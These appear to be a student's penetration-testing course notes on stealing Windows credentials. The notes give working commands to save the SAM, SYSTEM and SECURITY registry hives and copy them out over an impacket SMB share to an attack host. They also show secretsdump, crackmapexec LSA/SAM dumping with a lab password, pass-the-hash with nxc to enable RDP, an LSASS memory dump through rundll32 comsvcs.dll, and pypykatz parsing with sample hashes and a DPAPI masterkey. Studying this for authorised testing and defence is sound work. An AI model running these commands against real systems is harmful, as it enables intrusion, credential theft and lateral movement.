6. Attacking SAM, LSA, LSASS

Registry Hive Description
hklm\sam Contains the hashes associated with local account passwords. We will need the hashes so we can crack them and get the user account passwords in cleartext.
hklm\system Contains the system bootkey, which is used to encrypt the SAM database. We will need the bootkey to decrypt the SAM database.
hklm\security Contains cached credentials for domain accounts. We may benefit from having this on a domain-joined Windows target.
We can create backups of these hives using the reg.exe utility.
reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save

Technically we will only need hklm\sam & hklm\system, but hklm\security can also be helpful to save as it can contain hashes associated with cached domain user account credentials present on domain-joined hosts.

Now let's transfer it to our attack host:

windows smb exfil

sudo python3 /usr/share/docs/python3-impacket/examples/smbserver.py -smb2support CompData /home/ltnbob/Documents/

smb2support flag is important for newer windows versions. move 'em and use secretsdump

move system.save \\10.10.15.16\CompData
move security.save \\10.10.15.16\CompData
move sam.save \\10.10.15.16\CompData
python3 /usr/share/docs/python3-impacket/examples/secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
Dumping local SAM hashes (uid:rid:lmhash:nthash)

This tells us how to read the output and what hashes we can crack. Most modern Windows operating systems store the password as an NT hash. Operating systems older than Windows Vista & Windows Server 2008 store passwords as an LM hash, so we may only benefit from cracking those if our target is an older Windows OS. Knowing this, we can copy the NT hashes associated with each user account into a text file and start cracking passwords.

pssst: you might be able to rdp with:

┌──(root㉿kali)-[~/cpts/password-attacks/hard-assessment]
└─# nxc smb 10.129.52.149 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453 --local-auth -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'

ref. [[10. PassTheHash#pass hash with evil-winrm / RDP]]


LSA and SAM secret dumping remote

With access to credentials with local admin privileges, it is also possible for us to target LSA Secrets over the network. This could allow us to extract credentials from a running service, scheduled task, or application that uses LSA secrets to store passwords.

crackmapexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --lsa

similarly, with SAM

crackmapexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --sam

LSASS

![](/img/Pasted image 20240807224914.png|1000) Upon initial logon, LSASS will:

dumping LSASS process memory With access to an interactive graphical session with the target, we can use task manager to create a memory dump. Right click -> Create dump file lsass.DMP located in C:\Users\loggedonusersdirectory\AppData\Local\Temp (when i tried this myself on my computer windef caught it)

rundll32.exe & comsvcs.dll method

tskmgr is dependent on gui. rundll32.exe can be used thru a shell session likely caught by antivirus Before issuing the command to create the dump file, we must determine what process ID (PID) is assigned to lsass.exe. This can be done from cmd or PowerShell -- From cmd, we can issue the command tasklist /svc and find lsass.exe and its process ID in the PID field.

cmd: tasklist /svc PS: Get-Process lsass

once we have pid, rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full

using pypykatz to extract creds - MSV, Kerberos, DPAPI explanation

Once we have the dump file on our attack host, we can use a powerful tool called pypykatz to attempt to extract credentials from the .dmp file.

pypykatz == mimikatz written in python - The fact that it is written in Python allows us to run it on Linux-based attack hosts.

used when you have a direct dump file on linux - mimikatz can only be run from a windows machine, so if you have the physical .dmp file and are able to exfil it, it makes pypykatz usage ideal.

Recall that LSASS stores credentials that have active logon sessions on Windows systems. When we dumped LSASS process memory into the file, we essentially took a "snapshot" of what was in memory at that point in time. If there were any active logon sessions, the credentials used to establish them will be present.

Usage:

 pypykatz lsa minidump /home/peter/Documents/lsass.dmp 

ex:


INFO:root:Parsing file /home/peter/Documents/lsass.dmp
FILE: ======== /home/peter/Documents/lsass.dmp =======
== LogonSession ==
authentication_id 1354633 (14ab89)
session_id 2
username bob
domainname DESKTOP-33E7O54
logon_server WIN-6T0C3J2V6HP
logon_time 2021-12-14T18:14:25.514306+00:00
sid S-1-5-21-4019466498-1700476312-3544718034-1001
luid 1354633
	== MSV ==
		Username: bob
		Domain: DESKTOP-33E7O54
		LM: NA
		NT: 64f12cddaa88057e06a81b54e73b949b
		SHA1: cba4e545b7ec918129725154b29f055e4cd5aea8
		DPAPI: NA
	== WDIGEST [14ab89]==
		username bob

MSV is an authentication package in Windows that LSA calls on to validate logon attempts against the SAM database. Pypykatz extracted the SID, Username, Domain, and even the NT & SHA1 password hashes associated with the bob user account's logon session stored in LSASS process memory. This will prove helpful in the final stage of our attack covered at the end of this section. ![](/img/Pasted image 20240807230352.png) WDIGEST is an older authentication protocol enabled by default in Windows XP - Windows 8 and Windows Server 2003 - Windows Server 2012. LSASS caches credentials used by WDIGEST in clear-text. This means if we find ourselves targeting a Windows system with WDIGEST enabled, we will most likely see a password in clear-text. Modern Windows operating systems have WDIGEST disabled by default. Additionally, it is essential to note that Microsoft released a security update for systems affected by this issue with WDIGEST. We can study the details of that security update here.

	== Kerberos ==
		Username: bob
		Domain: DESKTOP-33E7O54

Kerberos is a network authentication protocol used by Active Directory in Windows Domain environments. Domain user accounts are granted tickets upon authentication with Active Directory. This ticket is used to allow the user to access shared resources on the network that they have been granted access to without needing to type their credentials each time. LSASS caches passwords, ekeys, tickets, and pins associated with Kerberos. It is possible to extract these from LSASS process memory and use them to access other systems joined to the same domain.

	== DPAPI [14ab89]==
		luid 1354633
		key_guid 3e1d1091-b792-45df-ab8e-c66af044d69b
		masterkey e8bc2faf77e7bd1891c0e49f0dea9d447a491107ef5b25b9929071f68db5b0d55bf05df5a474d9bd94d98be4b4ddb690e6d8307a86be6f81be0d554f195fba92
		sha1_masterkey 52e758b6120389898f7fae553ac8172b43221605

The Data Protection Application Programming Interface or DPAPI is a set of APIs in Windows operating systems used to encrypt and decrypt DPAPI data blobs on a per-user basis for Windows OS features and various third-party applications. Here are just a few examples of applications that use DPAPI and what they use it for:

![](/img/Pasted image 20240807230612.png)